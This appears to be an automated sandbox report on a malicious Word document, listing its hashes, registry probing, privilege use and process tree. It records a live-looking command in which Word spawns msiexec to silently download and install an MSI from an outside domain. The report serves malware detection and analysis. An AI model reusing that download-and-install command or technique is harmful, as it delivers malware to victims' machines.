Analysis
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max time kernel
140s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
03-07-2024 03:51
Behavioral task
behavioral1
Sample
20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc
Resource
win10v2004-20240611-en
General
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Target
20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc
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Size
57KB
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MD5
20fc5a09fb88c413a2f30b7e0e7155ba
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SHA1
a17078ec379ec9feba015b90c631073fe858c0a2
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SHA256
7aa4bf0cc69f3e9a4087fc134097739ccdfb4c6fbb2c332ff6b85582588aa403
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SHA512
d41f071e6a8a6c2cdb052122c7bf3689a45d0736af3e643b622124aef5a97b4d93f072dd7fe84556051535c551f4dfdfe953abc31708648b27b922f463cbe0be
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SSDEEP
768:kDk2KPoKpZpVuQTAsaORKy21UCdh+1o9XQOFo1XREUMwhY+mJIZLJ7:kOAQZpV7zaKa1Uu+a9cXR0w4
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
msiexec.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3656 2888 msiexec.exe WINWORD.EXE -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 3656 msiexec.exe -
Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2888 WINWORD.EXE 2888 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 3656 msiexec.exe Token: SeIncreaseQuotaPrivilege 3656 msiexec.exe Token: SeSecurityPrivilege 4884 msiexec.exe Token: SeCreateTokenPrivilege 3656 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3656 msiexec.exe Token: SeLockMemoryPrivilege 3656 msiexec.exe Token: SeIncreaseQuotaPrivilege 3656 msiexec.exe Token: SeMachineAccountPrivilege 3656 msiexec.exe Token: SeTcbPrivilege 3656 msiexec.exe Token: SeSecurityPrivilege 3656 msiexec.exe Token: SeTakeOwnershipPrivilege 3656 msiexec.exe Token: SeLoadDriverPrivilege 3656 msiexec.exe Token: SeSystemProfilePrivilege 3656 msiexec.exe Token: SeSystemtimePrivilege 3656 msiexec.exe Token: SeProfSingleProcessPrivilege 3656 msiexec.exe Token: SeIncBasePriorityPrivilege 3656 msiexec.exe Token: SeCreatePagefilePrivilege 3656 msiexec.exe Token: SeCreatePermanentPrivilege 3656 msiexec.exe Token: SeBackupPrivilege 3656 msiexec.exe Token: SeRestorePrivilege 3656 msiexec.exe Token: SeShutdownPrivilege 3656 msiexec.exe Token: SeDebugPrivilege 3656 msiexec.exe Token: SeAuditPrivilege 3656 msiexec.exe Token: SeSystemEnvironmentPrivilege 3656 msiexec.exe Token: SeChangeNotifyPrivilege 3656 msiexec.exe Token: SeRemoteShutdownPrivilege 3656 msiexec.exe Token: SeUndockPrivilege 3656 msiexec.exe Token: SeSyncAgentPrivilege 3656 msiexec.exe Token: SeEnableDelegationPrivilege 3656 msiexec.exe Token: SeManageVolumePrivilege 3656 msiexec.exe Token: SeImpersonatePrivilege 3656 msiexec.exe Token: SeCreateGlobalPrivilege 3656 msiexec.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2888 WINWORD.EXE 2888 WINWORD.EXE 2888 WINWORD.EXE 2888 WINWORD.EXE 2888 WINWORD.EXE 2888 WINWORD.EXE 2888 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2888 wrote to memory of 3656 2888 WINWORD.EXE msiexec.exe PID 2888 wrote to memory of 3656 2888 WINWORD.EXE msiexec.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\SYSTEM32\msiexec.exemsiexec /q /i http://lovetthornes.com/shipping/images/elmt.msi2⤵
- Process spawned unexpected child process
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
PID:3656
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4884
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4216,i,7869973516895866428,11647313872437892197,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:81⤵PID:1468
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810